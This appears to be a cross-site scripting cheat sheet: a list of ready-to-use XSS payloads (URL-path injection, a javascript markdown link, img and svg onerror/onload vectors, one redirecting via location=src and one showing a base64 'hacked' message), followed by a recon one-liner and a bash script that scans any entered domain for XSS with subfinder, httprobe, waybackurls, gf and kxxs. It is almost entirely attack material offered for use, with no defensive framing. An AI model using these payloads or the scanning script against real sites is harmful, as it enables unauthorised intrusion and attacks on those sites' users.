Use when current URL is used by target’s underlying PHP code as an attribute value of an HTML form, for example. Inject between php extension and start of query part (?) using a leading slash (/).
https://brutelogic.com.br/xss.php/"><noscript onload=alert(1)>?a=reader

Use in text boxes, comment sections, etc that allows some markup input. Click to fire.
[clickme](javanoscript:alert`1`)

`'";//><img/src=x onError="${x};alert(`1`);">

`'";//><Img Src=a OnError=location=src>

`'";//></h1><Svg+Only%3d1+OnLoad%3dconfirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgb3R0ZXJseSE%3d"))>

1. subfinder -d target .com | httprobe -c 100 > target.txt
2. cat target.txt | waybackurls | gf xss | kxxs

#!/bin/bash

# Prompt user for domain input
read -p "Enter the domain you want to scan: " domain

# Define output file
output_file="scan_output.txt"

# Run subfinder to find subdomains, filter through httprobe, and save to target.txt
echo "Finding subdomains for $domain..."
subfinder -d $domain | httprobe -c 100 > target.txt

# Use waybackurls to find URLs from Wayback Machine, filter through gf for XSS, and scan with kxxs
echo "Scanning for XSS vulnerabilities..."
cat target.txt | waybackurls | gf xss | kxxs >> "$output_file"

# Display output file location
echo "Scan output saved to $output_file"